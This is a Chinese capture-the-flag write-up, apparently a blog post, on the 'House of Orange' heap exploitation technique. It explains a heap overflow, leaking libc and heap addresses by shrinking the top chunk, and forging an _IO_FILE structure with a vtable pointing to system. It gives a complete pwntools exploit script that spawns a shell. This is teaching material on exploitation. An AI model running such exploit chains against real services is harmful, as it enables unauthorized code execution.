House of orange


这道题目是house of orange 的由来

例行检查我就不放了

将程序放入ida中,可以看到edit中有着非常明显的堆溢出

 做堆题目一般来说要先泄露libc

这道题目我们可以申请一个chunk,去修改topchunk的大小,然后申请一个远远比修改后的topchunk大的chunk,这样topchunk就会被free掉,从而泄露出libc,然后我申请一个largebin大小的chunk,这样就可以同时将libc和heap的地址都保留在这个chunk里面

这样就可以成功获得libc

接下来就是需要认真学习的新思路,伪造FILE结构体,当unsorted bin里的指针被修改了,发生malloc_printerr报错,而malloc_printerr用到了__IO_list_all指针,会从__IO_list_all指向的地方开始查找合适的FILE结构,并调用里面vtable里的函数。因此,我们在vtable里放入system函数即可getshell

所以我们需要先了解一下 IO_list_all结构体

0x0   _flags
0x8   _IO_read_ptr
0x10  _IO_read_end
0x18  _IO_read_base
0x20  _IO_write_base
0x28  _IO_write_ptr
0x30  _IO_write_end
0x38  _IO_buf_base
0x40  _IO_buf_end
0x48  _IO_save_base
0x50  _IO_backup_base
0x58  _IO_save_end
0x60  _markers
0x68  _chain
0x70  _fileno
0x74  _flags2
0x78  _old_offset
0x80  _cur_column
0x82  _vtable_offset
0x83  _shortbuf
0x88  _lock
0x90  _offset
0x98  _codecvt
0xa0  _wide_data
0xa8  _freeres_list
0xb0  _freeres_buf
0xb8  __pad5
0xc0  _mode
0xc4  _unused2
0xd8  vtable

 我们的目的是覆盖_chain的地址使其指向我们伪造的file结构体,然后通过vtable 指针改为system的地址从而可以拿到shell

放上俩位师傅的博客,

(16条消息) House of orange_seaaseesa的博客-CSDN博客

(16条消息) IO_file结构、FSOP、house of orange总结_一梦不醒的博客-CSDN博客

完整exp如下

from pwn import *
p = process('./pwn1')
#p = remote('node4.buuoj.cn',25861)
libc = ELF('./libc-2.23.so')
elf = ELF('./pwn1')

def launch_gdb():
    context.terminal = ['xfce4-terminal','-x','sh','-c']
    gdb.attach(proc.pidof(p)[0])


def add(size,name):
    p.sendlineafter('Your choice : ','1')
    p.sendlineafter('Length of name :',str(size))
    p.sendafter('Name :',name)
    p.sendlineafter('Price of Orange:','123')
    p.sendlineafter('Color of Orange:','1')

def show():
    p.sendlineafter('Your choice : ','2')

def edit(size,name):
    p.sendlineafter('Your choice :','3')
    p.sendlineafter('Length of name :',str(size))
    p.sendafter('Name:',name)
    p.sendlineafter('Price of Orange:','123')
    p.sendlineafter('Color of Orange:','1')

launch_gdb()

add(0x30,'a')
payload = b'a'*0x30+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xf80)

edit(len(payload),payload)
add(0x1000,'a')
add(0x400,'a')
show()
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5161
print("libc_base"+hex(libc_base))
_IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
print('_IO_list_all_addr:'+hex(_IO_list_all_addr))
system_addr = libc_base + libc.sym['system']
print('system:'+hex(system_addr))
edit(0x10,'c'*0x10)
show()
p.recvuntil('c'*0x10)

heap_addr = u64(p.recvuntil('\n',drop = True).ljust(8,b'\x00'))-0xe0
print('heap_addr:'+hex(heap_addr))

payload = b'a'*0x400
payload += p64(0)+p64(0x21)+b'a'*0x10
fake = b'/bin/sh\x00'+p64(0x60) #覆盖topchunk的大小为0x60
fake += p64(0)+p64(_IO_list_all_addr-0x10)  #伪造file结构
fake += p64(0)+p64(1)
fake = fake.ljust(0xc0,b'\x00')
fake += p64(0)*3
fake += p64(heap_addr + 0x5e8)
fake += p64(0)*2 
fake += p64(system_addr)         #因为io list all 是io file plus 的链表头指针,io list all这个结构体包含着io file 和 vtable,而vtable指向io jump t,io jump t 里面有着各种子函数
payload += fake
edit(len(payload),payload)
p.recv()

p.sendline('1')

p.interactive()

相关